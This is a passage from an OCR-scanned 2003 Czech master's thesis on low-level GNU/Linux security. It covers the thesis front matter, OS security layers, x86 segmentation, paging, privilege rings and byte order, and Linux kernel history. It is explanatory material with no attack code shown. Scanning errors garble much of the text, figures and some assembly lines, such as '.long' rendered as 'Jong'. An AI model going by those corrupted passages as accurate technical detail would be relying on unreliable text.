CESKE VY SOKE UCENI TECHNICKE
Fakulta el ektrotechnicka
K atedra pocitatl

DIPLOMOVA PRACE
Nizkourovnova bezpeCnost v GNU/Linux systemu

Praha, 2003 Miroslav DobsSicek



Cestné prohlageni

Prohladuiji, Ze jsem svou diplomovou praci vypracoval samostatné a pouzil jsem pouze podklady
(literaturu, projekty, programoveé vybaveni atd.) uvedené v prilozenem seznamu.

Nemam zavazny diivod proti uziti tohoto 3kolniho dila ve smyslu § 60 Zakona €.121/2000 Sb. ,
0 pravu autorském a o pravech souvisgjicich s pravem autorskym.

Copyright (c) 2003 Miroslav DobSicek.
Je dovoleno kopirovat, Sifit a/nebo modifikovat tento dokument za podminek licence GNU FDL, verze
1.2 nebo vySSich publikovanych nadaci Free Software Foundation. Kopie licence je dostupna naadrese
http://www.gnu.org/licenses/fdl.txt. Toto dovoleni je platné pouze pro staty, kde obsah dila dany jeho
nazvem neni v rozporu se zakonem.

Mé podékovani patfi ing. Radimu Ballnerovi za ob&avou pomoc se vemi tézkostmi, které mé
pfi vzniku diplomové prace potkaly. Prace pod jeho vedenim byla radosti a inspiraci do dalSich etap
Zivota. Dékuiji.

Praze dne 17.4.2003 Miroslav Dobsicek



Zasady pro vypracovani

Analyzujte pozadi (tokli vedoucich k neopravnénému prevzeti spravy operatniho systému
GNU/Linux. Zeiména detailné uvazujte diisledky plynouci z neexistujici kontroly mezi poli v jazyce
C s ohledem na uspofadani paméti procesu. Zjisténé poznatky ukazte na néazornych prikladech.
Zdrojove texty prikladl necht jsou samostatné dostupné na CD disku v pfiloze diplomové préace.



Anotace

Diplomova prace analyzuje pozadi Gtokll naoperatni systém GNU/Linux. Postupné nas seznamuje
simplementaci chranéného adresniho prostoru procesu v linuxovém jadfe. Vyuzitim chyb, které mohou
vzniknout pfi programovani v jazyce C, jemozné prepsat datav paméti aspustit externi kod, ktery neni
soucasti aplikace. Nutnou podminkou Gspéchu je znalost adres kli¢ovych dat souvisgjicich s béhem
procesu. V urcitych pripadech miize dokonce dojit k ziskani administratorskych pravomoci aovladnuiti
celého operatniho systému. Mezi nejcastéjsi programatorské chyby, pfi psani programil v jazyce C,
patfi zapis mimo meze alokované pamétové oblasti a Spatné pouZiti formatovaciho Fetézce u funkci
pro préaci stetézci. NejCastdji spoudténym externim kodem je prikazovy interpret. Po diikladném studiu
principtl adbsledkd chyb pfi programovani v jazyce C je vénovan prostor moznostem omezeni vzniku
chyb a snizovani rizik moznych nasledku.

Annotation

This master thesis analyzes the background of attacks on operating system GNU/Linux. Sequen-
tally we are acquinted with the implementation of protected process address space in linux kernel.
By exploiting bugs, which might have been made in programs written in C language, it is possible to
overwrite datain the memory and to execute an external code. To succede in exploiting it is necessary
to acquire the knowledge of addresses of critical process data. Under specia circumstances it iseven
possible to gain authority of system administrator and to control the whole operating system. There
are two common bugs made while programming in C language. It is writing outside of the allocated
memory space and awrong usage of the format string in functions for strings manipulation. The most
commonly used externa code spawns a command intepreter. After a deep study of the principles and
effects of the bugs has been made, we move on to the question how to minimalize the bugs occurance
and how to reduce the bugs sequel risks.
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Kapitola 1
Uvod

PocitaCe se staly kazdodenni souCasti naseho Zivota. VyuZive)i je negjen spolecnosti, ale také velky
pocet jednotlivcll. Vize z minulého stoleti o digitalné propojené spoletnosti se stavaji realitou, zeména
v technicky vyspélych Castech svéta. PoCitaCe stale vice poméahgji ve viech oblastech lidské Cinnosti.
T&zko s |1ze dnes predstavit bankovni systém Ci védecky vypocet bez asi stence poCitace. Stim prichazi
i fakt, Ze jsme odkazani na diivéryhodnost dat, ktera nam pocitace predkladaji akterajsmejim svéili.

Osobni pocitat PC jiz od svého vzniku sméfoval k co nejvétSim moznostem rozsifovani a uni-
verzalnosti. Tento trend s sebou nedl ur€itou koncepci otevienosti, standardizace a jednoduchosti.
Na bezpetnost dat a poCitate jako celku se pohlizelo az v druhé Fadé. Velkym diikazem jsou napr.
dodnes pouZivané sitové protokoly jako telnet ¢ POP. Data i heda ovéfujici identitu jsou posilana
v Cisté textové formé a mohou byt pomérné snadno zachycena nezadouci osobou. V dobé navrhu
pravdépodobné nikdo netusl, jaké mnozstvi informaci se bude na pocitai zpracovavat. Informaci,
které mohou znamenat moc, penize, védomosti i utrpeni. Z problematiky spolehlivosti pocitath se
postupné vyclenil obor poCitaCové bezpetnosti.

Pocitatova bezpetnost je obor, ktery se zabyva ochranou informaci pfed neopravnénym pristupem.
Zapocitana je ochrana pred pocitatovymi viry, neodbornou obsluhou a zlodgji (napf. $pionaz vedena
konkurencni firmou).

Cilem této diplomové prace je vysvétlit technické pozadi (toku na po€itatovy systém. Z €asti se
jedna o nékteré diisledky navrhu operatniho systému, z ¢asti o diisledky tvorby programti v jazyce C.
V zavéru prace jsou uvedeny moznosti omezeni vzniku chyb a snizovani rizik moznych nasledk.

Jsem rad, Ze znalosti uvedené v této diplomoveé praci mohu publikovat v akademickém prostfedi
pocitatovych odbornikll. Pfal bych si, aby tato diplomova prace prispéla k Vétsi osvété a otevienosti
v pocitaové bezpetnosti.



1.1 Proc¢ GNU/Linux

V soucasné dobé jsou nejvice rozsifeny osobni pocitate s procesory Fady x86 od firmy Intel a kom-
patibilni. Budeme se tedy vénovat bezpetnosti na této platformé. Operatnim systémem bude GNU
slinuxovym jadrem. DOvodl je hned nékolik. Systémy nabazi GNU/Linux jsou nyni velmi popularni.
Jedna se o otevieny software! s moznosti pouzivani zdarma. Protoze je velmi stabilni, jiz diouho se
pouziva na serverech. V posledni dobé dod o k prudkému narlistu uzivatel ské zakladny atento OS? se
zafina pouzivat i na kancelarské aplikace a hry. K dispozici je zdrojovy kod od vSech jeho Casti, coz
nam umozni studium az do téch ngjmengich detailUi.

1.2 Bezpecnostni vrstvy z hlediska OS

O bezpetnosti operatniho systému muizeme mluvit na Grovni jednotlivych vrstev, ze kterych se
operatni systém sklada. Budeme se drzet nakresu vrstev podle obrazku 1.1.

5%l Procesy superuzivatele (root) —  UZivatelské rozhrani
Bé&Zné uzivatelské procesy %%Zk}giam, knihovnich
g - . , .
T Usivatel s(gagrl]riam systémovych
|
T T T T TV T
Programy
K V¥V
%E shell, kompilatory, editory ... ;;;
=S
S5 [T T T YT 7Y N
> Standardni knihovny 1
L1 11 1]
printf, strncpy, malloc, 1] b
fork, execve, read, write, open, close ... YRS
( T T Y Y Y T YT Y Y
Egs Kernel (jadro)
£ ;_% Pldnovéni procesti, sprdva paméti
e virtualni souborovy systém ... ,
Ovladace

Hardware

Procesor, paméf, disky ...

Obréazek 1.1: Vrstvy operacniho systému

Vicev odstavci 1.3 nastrané 5
20S — operaéni system



1.2.1 Bezpecnost na uzivatelské arovni

Na vrcholu pyramidy se nachazi uzivatel. UZivatel s urCitym cilem, zkuSenostmi a otekavanim.
Uzivatel oCekava spravné nakonfigurovany systém, kdy pfipadna chyba na jeho strané povede vzdy
do konzistetniho stavu, ktery plijde snadno predpokladat. Dale predpoklada, Ze program se chova
presné podle dodané dokumentace bez vedlgjSich G¢inkU.

Spravnou konfiguraci systému méa na starosti jeho spravce. Spravce provadi instaaci a konfigu-
raci programového vybaveni, nastavuje zaznamenavani urcitych informaci — tzv. logovani a provadi
audit logovanych zaznamtl. Dale jednotlivym uZivatellim pfidé uje opravnéni pro pristup k datovym
souborlim a programiim. Spravce takto vytvari bezpetnost na uzivatelské Grovni.

Nutno fici, Ze pravétato vrstvaje nejslabsim ¢lankem v pocitatove bezpetnosti. Diivodem jevelka
zavidost na lidskem faktoru. Spravce i uzivatelé ¢asto mylné predpokladaji, ze o jgich data nema
nikdo zgem. Malokdo si uvédomuije, Ze (totnik mtize mit mnoho rliznych motivi pro ziskani kontroly
nad cizim pocitatem:

Vyuziti dat ainformaci — Tento cil je nejznamési. Nejvice se tyka firemnich avladnich pogitacl.

Vyuziti mista na pevném disku —Utoénik miize vyuzit misto navasem pevném disku pro skladovani
nelegalnich kopii programového vybaveni a audio ¢i video nahravek.

ViyuZiti vykonu procesoru — Prolomeni silnych &ifer vyZaduje vykon mnoha pogita&tl. Utognici mo-
hou k prolomeni Sifry vyuZzit vykon vaseho pocitace.

VyuZiti sitového spojeni — Napadeny poCitat miize slouZit jako mustek pro dal$i (tok.

1.2.2 BezpeCnost na aplikacni arovni

Aplikaci pokladame za bezpetnou, splhuje-li zegména dvé nadedujici podminky. Prvni je tzv. vngsi
chovani programu, které by mélo odpovidat uZivatelské priruéce. Castou chybou je nedokumentovane
odkladani dat do souboru. Druhou podminkou bezpetnosti programu je jeho vnitfni chovani — vlastni
implementace. Spatna implementace miize znamenat napf. chybné osetfeni vstupu od uZivatele, které
pak v diisedku povede k zapisu mimo pridélenou pamét. Mlize dojit k padu programu & dokonce ke
spudténi jiného programu®.

Programator, ktery vytvari aplikace, spoléha na bezpetné implementované API (Application Pro-
gramming Interface) poskytované knihovnimi funkcemi systému. Dalesi mlize byt jist, zejeho aplikaci
vzdy operatni systém spusti tak, ze pripadna chyba aplikace nepovede k poskozeni ostatnich spusté-
nych procesi®.

Z hlediska bezpetnosti programu je pfi programovani ngjCastgsi chybou 3patné oSetfeni vstupu
uzivatele. Na druhém misté je pouzivani knihovnich funkci, které jsou z urcitého hlediska nevhodné.

3Vicev kapitole 7 na strané 65
4Procesem rozumime predstavu spusténého programu s vlastnim chranénym pamétovym prostorem



Poslednim a velmi Castym pochybenim je opomenuti odstranit ladici a testovaci rutiny z vyvojové
faze produktu. Fatalni je napfiklad ponechani rutin, které preskoCi ovéfeni identity uzivatele.

1.2.3 Bezpecnost na Grovni jadra

Bezpetnost jadra souvisi primo se stabilitou celého systému. Chyba na této Grovni miize zplisobit
zhrouceni spusténych procestl. V diisledku toho miize vyvstat nutnost provést novy start systému.
K negjzévazng8im chybam patfi poskozeni souborového systému.

Jadro ma na starosti vytvoreni prostiedi pro béh uzivatelskych programil. Znamena to, Ze pro
kazdy uzivatel sky proces provadi ochranu jeho pamétového prostoru, umoziuje pFistup k perifernim
zafizenim pres unifikovany virtualni souborovy system, pridéluje procesor jednotlivym procestim
a poskytuje své funkce prostfednictvim systémovych volani.

Na pozadi tvorby tohoto prostfedi jadro komunikuje s ovladaci jednotlivych zafizeni, Fidi stran-
kovanou virtualni pamét a provadi kontrolu opravnéni pozadovanych akci jednotlivych procestl.

Uzivatel ské procesy bézi v tzv. uzivatel ském rezimu, jadro bézi v rezimu jadra. Situace je nacrtnuta
na obrézku 1.1. Oba tyto rezimy maji vlastni oddélené kodové a datové segmenty. V uzivatelském
rezimu procesor automaticky omezuje pouzivani privilegovanych instrukci, jako napf. pristup k 1/0
portlim ¢i nastaveni strankovani paméti.

Aby uzivatel mé& moznost provést napr. ¢teni dat z disku, jez pfedstavuje 1/O operaci, musi jeho
program vyuZit systémové volani, které jadro poskytuje. Cely mechanismus funguje na my3ence
provedeni privilegovanych instrukci uzivatelem pouze v ramci systémovych volani. Volani funkce
j&draje vysvétleno na obrazku 1.2.

UZivatelsky proces
Volani funkce jadra

‘\ Uzivatelsky rezim

@ Jadro

@ Obsluzna
rutina
=

@ ReZim jadra

@

1. Skok do jadra a nasledna kontrola opravnéni
(pro rootovské procesy se kontrola neprovadi)

2. Zjisténi ¢isla obsluzné rutiny
3. Spusténi obsluzné rutiny
4. Névrat do uZivatelského reZimu

Obrazek 1.2: Volani funkce jadra

Pfed spusténim obsluzné rutiny jadro provede kontrolu opravnéni. Jako pfiklad s vezméme systé-
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move volani open() u linuxového jadra. Zpristupnéni souboru pomoci deskriptoru souboru je podmi-
néno kontrolou opravnéni pristupu pro cteni nebo zapis. Vyjimku v této kontrole maji pouze procesy,
které patfi superuzivateli (anglicky root) — kontrola se neprovadi®. Na Linuxu rozpoznavame 3 za-
kladni pfistupova prava— cteni (Read), zapis (Write) a povoleni spousténi (Execute). Tato trojice prav
(oznaovana jako RWX) se udava zvla¥t pro majitele souboru, danou skupinu uzivatelli a zvla&t pro
ostatni uzivatele. Tento system pristupovych prav se oznacuje UGO (User Group Others).

Jiny mozny zplisob pristupu je zalozen na seznamech uZivateltl a skupin k danému souboru.

OznaCujeme jegj ACL (Access Contral Lists). Nejvice je pouzivan na operatnich systémech od firmy
Microsoft. Existuje i neoficialni podpora ACL pro Linux®.

1.3 Nizkolrovhova bezpetnost

Nizkolrovihovabezpetnost je oblast znal osti tykajici serozhrani uzivatelské procesy —jadro OS.
Jadro vytvari pro uzivatel ské procesy chranéné prostiedi a poskytuje své funkce prostfednictvim
systémovych volani. Proces je v tomto chranéném prostfedi plnym panem.

Proces béZici pod identitou daného uZivatele ma k ostatnim souborlim v souborovem systému
stejna pristupova prava jako sam uzivatel. NizkolUroviova bezpetnost se zabyva moznostmi
ochrany procestl, tak aby nemohlo dojit k predani svéfeného opravnéni pristupu jinému procesu.
Moznosti ochrany vychazeji predeviim z analyzy Gtoku.

Nejsnaze se analyza provadi u projektll s otevienym zdrojovym kodem. Zdrojovy kod v tomto pri-
padé mlize byt vystaven dikladné kontrole. To je velmi zadouci napf. u kryptografickych systém.
Otevieny kryptograficky systém musi byt postaven na pevnych matematickych zakladech. Samotna
Sfra nemilize spocivat pouze v utgjené posloupnosti operaci, jak by tomu mohlo byt v projektech
s uzavienym zdrojovym kodem. Dal&i vyhodou otevieného zdrojového kodu je moznost ucit se z ngj.
Mnoho profesionalnich i amatérskych programéatortl sleduje kvalitu zdrojového kodu pro své potéseni
a moznost ucit se. Ve vysdedku pak otevieny zdrojovy kod vychovava talentované vyvojare, ktefi
mohou prispét k jeho dalSimu vylepSeni.

Mnoho lidi mylné aautomaticky povazuje projekty s otevienym zdrojovym kbdem za bezpetng §i.
Tato automaticka implikace v Zz&dném pripadé neplati. Projekty s otevienym zdrojovym kodem maji
pouze Vétsi potencial smé&fovat k vEtSi bezpetnosti, jsou-li pro vyvojare zajimave. Proilustraci uved'me,
Ze v soucasné dabé se chyby v projektech s uzavienym ci otevienym kddem nalézaji stejné Casto.

5Znézornéni béhu b&znych uZivatelskych procesil a procesi superuZivatele v uZivatelském reZimu je znazornéno na
obréazku 1.1 v pravé casti
Shttp://www.grsecurity.net/gracl doc.htm



Kapitola 2

Osobni pocitac

2.1 Von Neumannova architektura

Drtiva vé&tSina dnednich potitatli na svété je postavena a odvozena z von Neumannovy architektury.
Pro nade (Gely jsou z této architektury diileZité zejména tyto body:

e instrukce adata jsou v téze fyzické paméti a neni mezi nimi rozdil
e pamé jerozdéena nazakladni bunky stejné velikosti, pofadové ¢islo bunky mavyznam adresy

program jetvoren posloupnosti instrukci, které se provadgji ve stejném sledu, jako byly zapsany

zmeénu poradi vykonavani instrukci |ze vyvolat instrukci skoku

datai instrukce jsou v paméti ulozena ve dvojkové soustave.

Vyluéné pouzivani dvojkové soustavy z padesatych let minulého stoleti se nam dochovala dodnes.
Diivodem je vysoka obtiznost rozpoznani Grovni elektrickych signalll, které predstavuji urcité logicke
Urovné. Pri programovani se pouZiva soustava Sestnéactkov, jeiz hlavni vyhodou je kratsi zpis. Viz
obréazek 2.1.

| 4| A 4| F
4 V \ \
0100 1010 0100 1111

Obréazek 2.1: Pfevod mezi dvojkovou a Sestnactkovou soustavou



2.2 Procesory Intel fady x86

Procesory fady x86 firmy Intel jsou predstavitelem architektury CISC - Complex Instruction Set
Computer. O komplexni a dozitou instrukéni sadu se opravdu jedna. Procesory fady x86 vychazeji
z modelu 8086 z roku 1978 ajsou s nim kompatibilni. Kompatibility je dosahovano pomoci novych
rezimt jako napf. virtual8086, virtual286 atd. Setkat se miizeme se znatenim 1A 1-32, viz [15]. Li-
nuxové jadro b&zi pouze na 32 (64) bitovych architekturach, které podporuji strankovani. Nejstarsim
modelem z Fady x86 spliiujicim pozadavky linuxového jadra je procesor 80386. Casto ho oznatujeme
zkracenym zapisem i386. Procesor 1386 s FPU ma priblizné 200 opkodii?. VEtSina z nich dovoluje mit
rlizné operandy. U novych modelli je potet opkodh jesté vySSi (napr. opkody pro MM X nebo SSE2).
V dalSim textu se pod oznatenim fady x86 budou rozumét pouze procesory vySSi nez 1386 vCetné.

U procesor(l fady x86 je povinné segmentovani, strankovani je volitelné. Vyhodou segmentovani
je moZnost mit data a kéd ulozena v jinych segmentech. Toto rozdéleni vede ke zvySeni bezpetnosti.
Strankovani umoznuje obgjit limit dostupné fyzické paméti. Vytvori se virtualni adresni prostor, ktery
se podle potfeby mapuje po strankach do fyzické paméti. Tuto ¢innost méa na starosti jednotka MM U
(Memory Management Unit). SouCasné operatni systémy segmentovani nijak intenzivné nevyuzivai,
jedna se pouze o povinnou ¢ast adresace. Ochrana paméti stejnéjako tvorbavirtuani paméti se vytvari
pomoci strankovani. Procesory fady x86 t&Z maji podporu pro prepinani procestl.

Procesor se mlize nachazet v jednom ze tfi nasledujicich rezimu:

Chranény mod (Protected Mode) — V tomto rezimu by mély pracovat vsechny moderni operacni
systémy. Upozornéme, Ze naptf. DOS od firmy Microsoft pouziva redny mod procesoru.

Procesor definuje &tyfi Grovné opravnéni (privilege levels), &islované od 0 do 3. Urove O je
nejvice privilegovana, Groven 3 ngméné. Nékteré instrukce mohou byt provedeny pouze na
Grovni opravnéni 0. Idea téchto Urovni opravnéni spocivaa ve vytvoreni ochrannych kruhti pro
jednatlivé vrstvy operatniho systému. V tomto ohledu se pouziva oznateni ring0 az ring3. Linux
vyuziva pouze dva z téchto kruhll. V ringu0 bé&zi jadro OS, v ringu3 bé&zi vSechny uzivatelské

procesy.
Soucasti tohoto modu je tzv. virtualni rezim 8086 umoziujici spousténi aplikaci psanych v re-
alném reZzimu procesoru 8086, ktery emuluje Cisty procesot 8086.

Jak jiZz bylo FeCeno je segmentovani povinnou soucasti adresace. Vlastnosti jednotlivych seg-
menttl jsou popsany deskriptorem segmentu. Deskriptory® obsahuji mimo jiné potatek seg-
mentu, jeho velikost, Groven opravnéni (DPL - Descriptor Privilege Level), typ a granularitu.
Organizovany jsou do tabulek o velikosti 64kB (pfi velikosti zaznamu 8B miize tabulka obsa-
hovat az 8192 polozek). Kazdy proces mlize mit svoji tabulku lokanich deskriptorli segmentll
— LDT. Adresa tabulky je obsazena v registru LDTR. Pro v&echny procesy dale vzdy existuje
globalni sdilena tabulka deskriptorli ssgmentli — GDT. Jgji adresa je uréena registrem GDTR.
Procesor ma sadu registrll, které mohou obsahovat ¢ast informaci z deskriptorti segmentil. Tyto
registry maji skrytou aviditelnou ¢ast. Viditelnou ¢ast oznatujeme terminem selektor segmentu.

YIntel Architecture
20pkod = operatni znak
3Struktura je uvedena na obrazku 2.9 strana 14



Casto se také zjednodudené pouZiva termin segmentovy registr pouze pro tuto viditelnou &ast.
Vice obrazek 2.2.

Selektor segmentu

15 3210

Index TlreL]

Tabulka

0=GDT 1=LDT
Pozadovand droveri opravnéni

00=ring0 11=ring3

Obrazek 2.2: Vyznam jednotlivych bitl selektoru segmentu

Hornich 13 bitl selektoru obsahuje index do tabulky GDT resp. LDT. Bit ¢islo 2 udava, jaka
tabulka deskriptorll se ma pouzit — 0=GDT, 1=LDT. Bity 1 a 0 tvofi poZadovanou (rovei
opravnéni — RPL (Requested Privilege Level). RPL obsazené v segmentovém registru CS nazy-
vame aktualni hodnotou opravnéni CPL (Current Privilege Level). Kopie CPL se nachazi také
vV segmentovém registru SS. Hodnota 00 je nejvySSi opravnéni, hodnota 11 nejniZsi. Efektivni
hodnota opravnéni EPL (Effective Privilege Level) se vypotita jako numerické maximum RPL
a CPL. EPL se potom porovna s hodnotou DPL uloZenou v deskriptoru segmentu. Idea CPL,
RPL aDPL spotivav nasledujicim pravidle: Nelze pristupovat k datovym segmentiim s vyS&im
opravnénim, nebo provést instrukce z kbdovych segmentil s niz8im opravnénim, nez je aktuani
opravneéni.

Logicka adresa (tj. adresa pouzita v programu) je tvorena dvojici selektor — offset. Neni-li
povoleno strankovani, tak z logické adresy pomoci tabulky deskriptorti ziskame pFimo fyzickou
adresu. V opatném pripadé hovofime o ziskani linearni adresy, kterou déle dvoulrovihovym
strankovacim mechanismem prevedeme na adresu fyzickou. Vice na obrazku 2.3. Toto stran-
kovéani vyzaduje dva pristupy do tabulek, které jsou uloZzeny v operatni paméti a pristup k nim
mUZe procesor zdrzovat. Za (6elem zrychleni tohoto mechanismu ma procesor zabudovanu
rychlou vyrovnavaci pamé zvanou TLB (Transation Lookaside Buffer), ve které jsou ucho-
vany posledné pouzivané linearni adresy a k nim odpovidajici adresy fyzické. Fyzicka adresa
adresére stranek je umisténa v registru CR3.

V pripadé, Ze operatni systém nechce pouZzivat segmentovanou pamét, staci nastavit segmentové
registry na stejny deskriptor segmentu. Operacni systémy vyuzivajici segmentovani maji ¢asto
také nékteré segmentové registry nastaveny na stejny deskriptor. Pfiklad je na obrazku 2.4.
Hodnoty plati pro uzivatelsky proces v linuxovém systému.

Hodnota 0x23 v registru CS binarné vypada takto: 100011. Znamenato, Ze registr CS obsahuje
selektor s vyznamem: odkazuji ha segment paméti definovany Ctvrtym deskriptorem v tabulce
globalnich deskriptorli segmentll a opravnéni pfistupu mam na Grovni ring3. Hodnota 0x2b
v registrech SS, DS, ES binarné vypada takto: 101011. Vyznam je nadedujici: odkaz na seg-
ment paméti definovany patym deskriptorem v tabulce globalnich deskriptorli s pozadovanym
pristupem na drovni ring3.



Logicka adresa

Selektor

GDT/LDT
Tabulka deskriptort

8192
polozZek

32b bazova adresa [
Linearni adresa

deskriptor segmentu

LNV 0.
o [Tadresar T stranka | offset | -
64 0 | 100 | 10p 2

adresaf stranek tabulka stranek

ramec stranky — 4kB
Fyzické adresa

ramec

tabulka \‘

Obrézek 2.3: Preklad adresy v chranéném rezimu procesoru s povolenym strankovanim

cs | 0x23
ss | Ox2b
ds | Ox2b
es | Ox2b
fs | Ox0
gs | OxO

Obrazek 2.4: Priklad obsahu segmentovych registrli na linuxovem jadre



Realny mod (Real-address Mode) — Na procesoru Pentium umoziuje tento mod spoustét programy
psané pro procesory 8086, 8088, 80186, 80188 a pro realny mod procesorll 1286, 1386, i486.
Pro niZz& modely to plati obdobné. 32-bitovy procesor v redlném modu se programatorovi jevi
jako velmi rychly procesor 8086 nebo redlny mod na i286 s rozsifenou instrukeni sadoul.

V tomto modu obsah segmentovych registrii nemavyznam sel ektort odkazuijicich nadeskriptory
segmenttl, ale tvori bazi adresy. Obsah segmentového registru se vynasobi 16ti (logicky posun
vlevo 0 4 mista) a pricte se offset (viz obrézek 2.5). Takto vznikne 20ti bitova linearni adresa.
Pripadny bit pfenosu bude uloZen v priznaku CF priznakového registru EFLAGS.

19 3210
baze | 16h seg. selektor |0000|
+ 19 0
offset |0000| 16b efektivni adresa |
= 20 0

linearni | |

Obrazek 2.5: Preklad adresy v redlném modu procesoru

Servisni mod (System Management Mode) —Mod ureny pro spravu Setfeni energie aochranu pred
prehfatim. PIné pouZzitelné az od modelu Pentium.

Z&kladni funkeni prostfedi je tvofeno osmi vseobecnymi 32-bitovymi registry, Sesti 16-bitovymi
segmentovymi registry, registrem priznakl a registrem citate instrukci. Viz obrazek 2.6. Segmentovée
registry kromeé viditelné 16b ¢asti maji jesté skrytou ¢ast, do které se kopiruji potfebné informace
Z deskriptoru segmentul.

Na procesorech Fady x86 se ¢ida do paméti ukladaji v poradi, které se oznauje terminem " little
endian”. Znamenato, ze negjvyznamngjsi byty jsou umistény nanejvyssi adresy. Priklad je uveden na
obrazku 2.8. Strukturu paméti si miizeme predstavit podle obrazku 2.7. Adresy rostou smérem nahoru.
Bity jsou oCislovany zprava doleva. Tok instrukci je také vzdy vykonavan smérem k vySSim adresam
(mimo instrukci skoku).

Rikali jsmesi, Ze mezi daty ainstrukcemi neni v paméti zadny rozdil (zarozdil |ze povazovat pouze
to, ze ne kazdé ¢iso ma vyznam opkodu pro procesor z fady x86). Uvedme si to nyni na prikladé.
M&me na adrese 0x20* ulozeno hexadecimalni &islo 0x21204A4F4841. Tomuto &islu v desitkovée
soustavé odpovida ¢islo 36422569379905. Je to Cido velmi velké, najeho uloZeni do paméti budeme
potfebovat 6B°. Na obrazku 2.8 vidime, jak se toto &islo ulozi do paméti. Jeho negjniZs bity jsou
ukladany od adresy 0x20 a vySe. Ngjvyznamng§i bity jsou uloZeny na adrese 0x25. V assembleru
bychom uloZeni tohoto &isla dosahli napfiklad nasledujicim zapisem®:

Jong Ox4A4F4841
Jong 0x2120

4Prefix Ox v textu oznatuje &islav hexadecimani soustavé podle konvence jazyka C
51B (byte) = 8b (bit), bit je z&kladni jednotka informace - hodnota 0 nebo 1
674pisje platny pro AT& T syntaxi, vice v odstavci 3.2.1 nastrané 17
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31 0

EBX
ECX
EDX
ES|

EDI

EBP
ESP

15 0

Cs
DS
SS
ES
FS
GS

31 0

| | EFLAGS
31 0

| =T

Obrazek 2.6: Z&kladni registry procesoru z fady x86

Struktura paméti

VyS3Si bity
31 0
. |
8 2
o)
6 %
Z
4 >
Byte 3|Byte 2|Byte 1|Byte 0] 0
Obrazek 2.7: Poradi bytli a bitl
2 28
o
] 21 20 24
S| l4a |4F |48 |4 20
é 1C

Obrazek 2.8: Ulozeni ¢ida na architekturach "little-endian”. V3echna €isla jsou uvedena v hexadeci-
malni soustave.
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Zaozme v assembleru fetézec "AHOJ !”. Jak bude ulozen v pamé&ti? Vydedek bude shodny
sobrazkem 2.8. Prvni pismeno se ulozi nangnizs adresu. ASCII kod pismene’A’ je 0x41. Na adrese
0x20 bude tedy hodnota 0x41. Dal8l pismena se postupné uloZi na vySS adresy. VSechna ¢ida jsou
uvedena v Sestnactkové soustave.

Podivejme se nyni, jaké instrukce’ by se vykonaly po nastaveni registru EIP na adresu 0x20.

Pocatetni adresa | Obsah | Instrukce
0x20 0x41 incl %ecx
0x21 0x48 decl %eax
0x22 Ox4F decl %oedi
0x23 Ox4A decl %edx
0x24 0x2021 | andb (%ecx), %ah

Tabulka 2.1: Disassemblace obsahu Casti paméti

2.3 Operacni systém slinuxovym jadrem

Linuxové jadro® je odvozeno z jadra operatniho systému UNIX. UNIX vznikl v roce 1969° ve firmé
Bell Laboratories. Pro snazsi arychlejsi programovani UNIXuvznikl jazyk C. Jeho autory jsou panovée
Denis Ritchie a Brian W. Kernighan. Béhem dvou let byl UNIX pfepsan v jazyce C a v roce 1974
byly publikovany prvni €lanky o UNIXu. Prvni verze linuxového jadra byly napsané panem Linusem
Torvaldsem. Vyvoj probihal na systému MINIX. Jiz v ranych verzich bylo jadro velmi kvalitni
aRichard M. Stallman, zakladatel systému GNU?°, pozadal Torvaldse o publikovani linuxového jadra
pod licenci GPL a pfipojeni do operacniho systému GNU. GNU je rekurzivni zkratka nazvu GNU'’s
Not UNIX. Od té doby je linuxové jadro vyvijeno lidmi po celém svété. Jeho oficidnim spravcem
zUstal Linus Torvalds. Linuxové jadro spliiuje vétSinu pozadavkt normy POSIX (Portable Operating
System Unix).

Linuxové jadro, podle slov jeho autora, patfi do kategorie monolitickych jader!!. V soutasné
dobé je snaha prosazovat jadra zalozena na mikrokernelu. Tato jadra jsou velmi mala a obsahuji
pouze nejzakladngsi funkce spoCivajici v zasilani zprav mezi jednotlivymi ¢astmi. DalSi funkce
jsou implementovany ve stylu "klient-server” nad timto mikrojadrem. Vyhodou mikrojader je jejich
prehlednost a snadna Gdrzba, coz v praxi znamena mnohem méné chyb a vési stabilitu. Znamym
a pouzivanym mikrojadrem je napfiklad MACH?*2. Z volné &fitelnych jader je nad nim napfiklad
postaveno jadro HURD3. Toto jadro neni v soucasné dobg jesté dokonceno.

Aby linuxové jadro, i kdyZz monolitické, zlistalo co ngmendi a nejprehledng&di, zavadi system

"Opét je pouZita syntaxe AT& T

8http://www.kernel .org
Shttp://cm.bell-labs.com/cm/cs/who/dmr/hist.html
Ohttp:/fwww.gnu.org

Y http://al ge.anart.noflinux/history/linux_is_obsol ete.txt
Lhttp:/fwww-2.cs.cmu.edu/af s/cs/proj ect/mach/publiciwww/mach.html
Bhttp:/fwww.gnu.org/software/hurd/hurd. html
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vkl adanych modul U, pri¢éemZ modul miize obsahovat napriklad ovladag sitovékarty. Po dobu pouZivani
sitové karty se modul zavede do paméti a stane se souCasti jadra. Poté se z paméti zase uvolni.

Linuxové jadro podporuje preemptivni multitasking (pfepinani Gloh planovatem) a praci vice
uzivatelti ngjednou. Implementovany jsou dvarezimy —rezim jadra (kernel mode) a uzivatelsky rezim
(user mode). V uzivatelském rezimu béZi procesy jednotlivych uZivatelll. Procesy jsou spoustény
S opravnénim procesoru na Grovni ring3. V rezimu jadra bézi planoval procesll, systém ochrany
paméti, virtuani souborovy systém a dalsi. Rezim jadra ma opravnéni na rovni ring0, tedy ngjvyssi.
Jiné rovné opravnéni linuxové jadro nepouziva. V oficidni vyvojové vétvi je snahai o modifikaci
jadra pro zpracovani procesi v realném tase. Komercni verze jiz existuje — RT Linux!4.

Zvla&nosti oproti jinym operatnim systemiim je podpora mnoha souborovych systémt (napr. ext2,
ext3, reiserfs, jfs, vfat ... ). Ze spustitelnych forméatll jsou podporovany celkem 3 druhy. Spustitelné
binarni forméty jsou ELF [4] a COFF. COFF je starSi format a stal se zakladem pro format ELF.
Také spustitelny format PE pro operatni systémy firmy Microsoft je odvozen z forméatu COFF. Jadro
jednotlivéformaty rozeznavapodi e specifickych sekvenci (magic numbers) nazacatku souboru. Tretim
typem spustitelnych soubor{l jsou interpretované skripty (miize se ale také jednat o rozsahly program).
Zavadéci funkce spustitelnych forméatli na potatku souboru rozezna sekvenci '#!”, zaniz oekava cestu
k interpretu nadedujicich fadek programu.

Kromé OS GNU/Linux existuji i jiné derivaty OS UNIX. Ngznamé&si jsou ty, které vychazeli
zBSD (Berkeley System Distribution). Jmenujme FreeBSD, OpenBSD a NetBSD.

2.3.1 Virtualni adresni prostor

Podiveijme se nyni podrobngi na pouziti segmentované a strankované paméti na Linuxu. Linuxové
